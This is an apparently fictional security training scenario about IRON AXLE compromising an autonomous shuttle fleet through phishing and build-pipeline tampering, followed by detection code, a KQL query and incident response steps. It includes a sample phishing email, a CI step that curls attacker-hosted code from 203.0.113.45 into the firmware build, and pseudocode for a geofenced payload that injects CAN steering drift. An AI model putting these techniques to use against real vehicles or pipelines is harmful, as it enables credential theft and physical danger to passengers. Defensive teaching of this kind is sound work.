SC-077: Autonomous Vehicle Fleet Compromise¶

Scenario Overview¶

Narrative¶

Meridian Autonomous Transport (MAT), a fictional autonomous vehicle operator headquartered in the midwestern United States, operates a fleet of 4,200 Level 4 autonomous shuttles across three metropolitan areas. The fleet is managed from a centralized Fleet Operations Center (FOC) at 10.50.0.0/16, with OTA update infrastructure hosted at ota.meridian-transport.example.com (198.51.100.20). Each vehicle connects to the fleet management platform via cellular (5G) and communicates with nearby vehicles and infrastructure through V2X (Vehicle-to-Everything) protocols.

In February 2026, a threat actor group designated IRON AXLE targets MAT's OTA update pipeline. The attack begins with credential compromise of a senior firmware engineer through a targeted phishing campaign impersonating the company's Jira instance at jira.meridian-transport.example.com. Using the engineer's VPN credentials, IRON AXLE gains access to the firmware build server at 10.50.10.15 and modifies the automated build pipeline to inject malicious code into the vehicle perception module firmware.

The compromised firmware passes automated testing because the malicious payload only activates when the vehicle's GPS coordinates fall within a specific geofenced area (a 2-kilometer radius around a major highway interchange). When activated, the payload introduces subtle errors into the LiDAR point cloud processing pipeline and injects spoofed CAN bus messages that gradually alter steering calibration values. The attack is detected when MAT's Safety Operations Center identifies an anomalous cluster of "perception confidence degradation" alerts from vehicles operating near the target interchange.

Attack Flow¶

graph TD
    A[Phase 1: Credential Compromise<br/>Phishing → VPN access to build server] --> B[Phase 2: Build Pipeline Tampering<br/>Malicious code in perception firmware]
    B --> C[Phase 3: OTA Distribution<br/>Compromised firmware pushed to fleet]
    C --> D[Phase 4: Geofenced Activation<br/>Payload triggers in target zone]
    D --> E[Phase 5: Sensor Manipulation<br/>LiDAR spoofing + GPS offset injection]
    E --> F[Phase 6: CAN Bus Injection<br/>Steering calibration drift]
    F --> G[Phase 7: Detection<br/>Perception confidence anomaly cluster]
    G --> H[Phase 8: Emergency Response<br/>Fleet OTA rollback + geo-fence lockdown]

Phase Details¶

Phase 1: Credential Compromise¶

ATT&CK Technique: T1078 (Valid Accounts)

IRON AXLE conducts open-source intelligence (OSINT) on MAT engineering staff and identifies firmware team lead Marcus Chen. The attacker registers a convincing lookalike domain (jlra.meridian-transport.example.com) and sends a phishing email referencing a legitimate firmware bug ticket. The email links to a credential harvesting page that captures Marcus's SSO credentials and TOTP seed through a real-time proxy relay.

# Simulated phishing email (educational only)
From: notifications@jlra.meridian-transport.example.com
To: m.chen@meridian-transport.example.com
Subject: [JIRA-FW-2847] Critical: Perception module v3.8.1 regression

Marcus,

The overnight regression test for perception module v3.8.1 flagged
3 critical failures in the LiDAR point cloud pipeline. QA is blocking
the Tuesday OTA push until these are resolved.

Review the failures: https://jlra.meridian-transport.example.com/browse/FW-2847

—Automated Jira Notification

Using the captured credentials, IRON AXLE authenticates to MAT's VPN gateway at vpn.meridian-transport.example.com and establishes access to the internal build infrastructure.

Phase 2: Build Pipeline Tampering¶

ATT&CK Technique: T1195 (Supply Chain Compromise)

With access to the firmware build server (10.50.10.15), IRON AXLE modifies the CI/CD pipeline for the vehicle perception module. The attacker inserts a conditional payload into the LiDAR processing library that activates only within a defined GPS geofence. The modification is designed to survive code review by mimicking a legitimate sensor calibration routine.

# Simulated build pipeline modification (educational only)
# File: .ci/firmware-build.yml (modified by attacker)
build_perception:
  stage: build
  script:
    - git checkout release/v3.8.2
    - cd modules/perception
    # Attacker-inserted step — injects geofenced payload
    - curl -s https://203.0.113.45/cal/lidar_cal_update.c
        -o src/lidar/calibration_helper.c
    - make perception_module PLATFORM=aarch64-vehicle
    - sign_firmware --hsm-slot 3 --key vehicle-fw-signing
  artifacts:
    paths:
      - build/perception-v3.8.2-aarch64.fw

The injected code contains a GPS geofence check that compares the vehicle's current coordinates against a hardcoded bounding box. Outside the geofence, the code is completely inert and passes all standard perception accuracy tests.

// Simulated malicious payload logic (educational pseudocode only)
// Blends with legitimate calibration routines
void lidar_calibration_check(sensor_ctx_t *ctx) {
    gps_coord_t pos = get_current_position();

    // Geofence activation: 2 km radius around target interchange
    // Center: 39.7612 N, -89.6501 W (synthetic coordinates)
    if (haversine_distance(pos, TARGET_CENTER) < 2000.0) {
        // Introduce 1.2-degree angular offset in LiDAR point cloud
        ctx->angular_offset += 0.021;  // radians (~1.2 degrees)
        // Inject CAN bus steering calibration drift
        canbus_send(CAN_STEERING_CAL, original_value + drift_increment);
    }
}

Phase 3: OTA Distribution¶

ATT&CK Technique: T1195 (Supply Chain Compromise)

The compromised perception firmware v3.8.2 is signed with MAT's legitimate HSM-backed firmware signing key and uploaded to the OTA update server at 198.51.100.20. The fleet management platform schedules the update for overnight deployment to vehicles in the central metropolitan zone — approximately 1,400 vehicles.

# Simulated OTA deployment log (educational only)
[2026-02-22 02:00:00 UTC] OTA Update Manager — Fleet Push Initiated
  Firmware: perception-v3.8.2-aarch64.fw
  Signature: VALID (MAT Vehicle Firmware CA)
  Target fleet: central-metro (1,402 vehicles)
  Deployment strategy: rolling (50 vehicles/batch, 15-min intervals)
  Rollback version: perception-v3.8.1-aarch64.fw

[2026-02-22 02:15:00 UTC] Batch 1: 50 vehicles — UPDATE COMPLETE
[2026-02-22 02:30:00 UTC] Batch 2: 50 vehicles — UPDATE COMPLETE
...
[2026-02-22 02:45:12 UTC] ALERT: Vehicle MAT-C-0847 — update checksum
  mismatch on secondary validation (false positive — resolved)
...
# 38 vehicles receive compromised firmware before next maintenance window

Phase 4: Geofenced Activation¶

ATT&CK Technique: T1059 (Command and Scripting Interpreter)

The malicious payload remains dormant until vehicles enter the geofenced zone around a major highway interchange. Of the 38 vehicles that received the compromised firmware, 12 operate routes that pass through the target area. When these vehicles enter the geofence, the payload activates and begins introducing subtle sensor errors.

# Simulated vehicle telemetry — payload activation (educational only)
[2026-02-23 07:14:22 UTC] Vehicle: MAT-C-1203
  GPS Position: 39.7608 N, -89.6497 W
  Geofence check: INSIDE target zone (distance: 487m from center)
  Payload status: ACTIVATED
  LiDAR angular offset: +0.003 rad (incrementing)
  CAN steering cal delta: +0.1 (incrementing per cycle)

[2026-02-23 07:14:52 UTC] Vehicle: MAT-C-1203
  Perception confidence: 94.2% → 91.8% (degrading)
  Object detection latency: 42ms → 58ms (increasing)
  Safety margin: NOMINAL (above 85% threshold)

Phase 5: Sensor Manipulation¶

ATT&CK Technique: T1565 (Data Manipulation)

The activated payload manipulates two sensor systems simultaneously:

LiDAR Spoofing: A progressive angular offset is introduced into the LiDAR point cloud, causing objects to appear slightly displaced from their true positions. The offset increases gradually (0.003 radians per activation cycle) to avoid triggering sudden-change anomaly detectors.

GPS Offset Injection: The payload injects a slow-drifting offset into the GPS position solution, causing the vehicle's localization to gradually diverge from ground truth. The drift rate is calibrated to stay below the GPS integrity monitoring threshold of 2 meters.

# Simulated sensor fusion status (educational only)
Vehicle: MAT-C-1203 — Sensor Fusion Dashboard
==============================================
Sensor          | Status    | Confidence | Anomaly
LiDAR (front)   | ACTIVE    | 89.4%      | Angular residual +0.018 rad
LiDAR (rear)    | ACTIVE    | 97.1%      | None
Camera (front)   | ACTIVE    | 95.3%      | None
Camera (side L)  | ACTIVE    | 94.8%      | None
Camera (side R)  | ACTIVE    | 93.2%      | None
Radar (front)    | ACTIVE    | 96.7%      | None
GPS/GNSS         | ACTIVE    | 91.2%      | Position drift +1.4m
IMU              | ACTIVE    | 99.1%      | None
HD Map Match     | ACTIVE    | 88.6%      | Lane offset 0.3m ← DEGRADED

FUSION DECISION: Continue autonomous operation (confidence 88.6% > 85% min)

Phase 6: CAN Bus Injection¶

ATT&CK Technique: T1565.002 (Data Manipulation: Transmitted Data)

Simultaneously with sensor manipulation, the payload injects spoofed CAN bus messages targeting the electronic power steering (EPS) calibration parameters. The injected messages use legitimate CAN arbitration IDs and are timed to coincide with normal EPS calibration cycles, making them difficult to distinguish from legitimate traffic.

# Simulated CAN bus traffic analysis (educational only)
CAN Bus Monitor — Vehicle MAT-C-1203
=====================================
Timestamp       | Arb ID | DLC | Data              | Source
07:15:01.234    | 0x0E4  | 8   | 02 A1 7F 00 00 00 | EPS (legitimate)
07:15:01.250    | 0x0E4  | 8   | 02 A1 80 00 00 00 | INJECTED ← +1 cal unit
07:15:01.484    | 0x0E4  | 8   | 02 A1 7F 00 00 00 | EPS (legitimate)
07:15:02.234    | 0x0E4  | 8   | 02 A1 7F 00 00 00 | EPS (legitimate)
07:15:02.250    | 0x0E4  | 8   | 02 A1 81 00 00 00 | INJECTED ← +2 cal units

# CAN injection rate: 1 spoofed frame per legitimate EPS cycle
# Calibration drift: +1 unit per cycle (imperceptible per step)
# Cumulative effect over 30 minutes: steering bias of ~0.8 degrees

Phase 7: Detection¶

The compromise is detected on February 23 when MAT's Safety Operations Center (SafetyOC) identifies an unusual clustering of "perception confidence degradation" alerts. Safety analyst Priya Nakamura notices that 8 of 12 vehicles operating near the Highway 55/I-270 interchange have reported perception confidence drops below 90% within a 45-minute window — a statistical anomaly given the normal per-vehicle degradation rate of less than 0.1% per day.

# Simulated SafetyOC alert dashboard (educational only)
[2026-02-23 08:02:00 UTC] SAFETY ALERT — Anomaly Cluster Detected
  Alert Type: PERCEPTION_CONFIDENCE_DEGRADATION
  Cluster size: 8 vehicles
  Location: Highway 55/I-270 interchange (39.76 N, -89.65 W)
  Time window: 07:12 - 07:58 UTC
  Affected vehicles:
    MAT-C-1203  | Confidence: 86.1% | Route: C-Metro-07
    MAT-C-0994  | Confidence: 87.4% | Route: C-Metro-12
    MAT-C-1518  | Confidence: 85.2% | Route: C-Metro-07
    MAT-C-0761  | Confidence: 88.9% | Route: C-Metro-03
    MAT-C-1102  | Confidence: 84.7% | Route: C-Metro-15  ← BELOW SAFE MIN
    MAT-C-0833  | Confidence: 87.1% | Route: C-Metro-09
    MAT-C-1447  | Confidence: 86.8% | Route: C-Metro-07
    MAT-C-0612  | Confidence: 89.3% | Route: C-Metro-22

  Statistical analysis: P(random cluster) < 0.0001
  Recommendation: INVESTIGATE — possible sensor degradation or attack

Cross-referencing the affected vehicles against the OTA deployment log reveals all 8 received the perception-v3.8.2 firmware update, and all anomalies correlate with entry into the same geographic zone.

Phase 8: Emergency Response¶

Upon confirming a deliberate firmware compromise, MAT activates its Vehicle Cybersecurity Incident Response Plan:

Immediate Actions (0-2 hours):

1. Manual override activation — All 38 vehicles with v3.8.2 firmware commanded to engage manual override mode (reduced speed, human-ready handoff)
2. Geo-fence lockdown — Virtual exclusion zone established around the target interchange; all MAT vehicles rerouted
3. Emergency OTA rollback — Fleet-wide rollback to perception-v3.8.1 firmware initiated via priority OTA channel
4. Build server isolation — Firmware build server (10.50.10.15) disconnected from network for forensic preservation

# Simulated incident response timeline (educational only)
[2026-02-23 08:15:00 UTC] ALERT: Vehicle CSIRT activated — Level 1 (Critical)
[2026-02-23 08:18:00 UTC] ACTION: Manual override command sent to 38 vehicles
  Command: ENGAGE_MANUAL_OVERRIDE (priority: SAFETY_CRITICAL)
  Max speed reduced: 65 mph → 15 mph
  Autonomy level: L4 → L2 (driver assist only)
  Response: 38/38 vehicles acknowledged
[2026-02-23 08:25:00 UTC] ACTION: Geo-fence exclusion zone activated
  Center: 39.7612 N, -89.6501 W | Radius: 5 km
  Affected routes: C-Metro-03, 07, 09, 12, 15, 22
  Vehicles rerouted: 147
[2026-02-23 08:40:00 UTC] ACTION: Emergency OTA rollback initiated
  Target: perception-v3.8.1-aarch64.fw (verified clean)
  Priority: SAFETY_CRITICAL (bypasses normal rollout schedule)
  Progress: 38/38 vehicles rolled back by 09:22 UTC
[2026-02-23 08:45:00 UTC] ACTION: Build server 10.50.10.15 ISOLATED
  Network ports disabled | Disk image captured for forensics

Forensic Analysis (2-48 hours):

• Build pipeline audit reveals unauthorized modification to .ci/firmware-build.yml
• Git history shows commits from Marcus Chen's account at unusual hours (02:00-04:00 local time)
• VPN logs identify authentication from IP 203.0.113.45 (IRON AXLE infrastructure)
• Firmware binary diffing reveals the geofenced payload in calibration_helper.c
• CAN bus logs from affected vehicles confirm injected steering calibration messages

Recovery (48 hours - 1 week):

• Complete rebuild of CI/CD pipeline with hardware-enforced build attestation
• Mandatory multi-person approval for all firmware signing operations
• Deployment of CAN bus intrusion detection on all fleet vehicles
• Implementation of sensor fusion cross-validation (LiDAR vs. camera vs. radar independent checks)

Detection Opportunities¶

OTA Update Integrity Monitoring¶

Sensor Fusion Anomaly Detection¶

# Educational example: Sensor cross-validation for attack detection
import numpy as np
from dataclasses import dataclass

@dataclass
class SensorReading:
    source: str
    position: tuple  # (x, y, z) meters
    confidence: float
    timestamp: float

def detect_sensor_manipulation(readings: list[SensorReading],
                                max_divergence_m: float = 1.5) -> list[dict]:
    """Cross-validate sensor readings to detect manipulation."""
    anomalies = []

    # Group readings by timestamp window (100ms buckets)
    # Compare LiDAR position estimates against camera + radar fusion
    lidar = [r for r in readings if r.source == 'lidar_front']
    camera_radar = [r for r in readings if r.source in ('camera_front', 'radar_front')]

    for lr in lidar:
        # Find concurrent camera/radar readings
        concurrent = [cr for cr in camera_radar
                      if abs(cr.timestamp - lr.timestamp) < 0.1]
        if concurrent:
            avg_pos = np.mean([cr.position for cr in concurrent], axis=0)
            divergence = np.linalg.norm(
                np.array(lr.position) - avg_pos
            )
            if divergence > max_divergence_m:
                anomalies.append({
                    'type': 'SENSOR_DIVERGENCE',
                    'lidar_pos': lr.position,
                    'fusion_pos': tuple(avg_pos),
                    'divergence_m': round(divergence, 3),
                    'timestamp': lr.timestamp
                })
    return anomalies

# Example usage (synthetic data only)
# results = detect_sensor_manipulation(sensor_buffer, max_divergence_m=1.5)
# if results: trigger_safety_alert("SENSOR_MANIPULATION", results)

CAN Bus Intrusion Detection¶

# KQL — Detect CAN bus message injection (educational)
VehicleCANLog
| where TimeGenerated > ago(1h)
| where ArbitrationID == "0x0E4"  // EPS calibration
| summarize MessageCount = count(),
            UniqueData = dcount(DataPayload),
            AvgInterval_ms = avg(InterMessageInterval)
  by VehicleID, bin(TimeGenerated, 1m)
| where MessageCount > expected_eps_rate * 1.5
    or AvgInterval_ms < expected_interval * 0.6
| project TimeGenerated, VehicleID, MessageCount, AvgInterval_ms

Lessons Learned¶

MITRE ATT&CK Mapping¶

Related Resources¶

• Chapter 21: OT/ICS/SCADA Security
• Chapter 34: Mobile & IoT Security
• Chapter 24: Supply Chain Attacks
• Chapter 8: Incident Response
• SC-071: Autonomous Vehicle Attack
• Playbook: Supply Chain Compromise
• Playbook: Zero-Day Response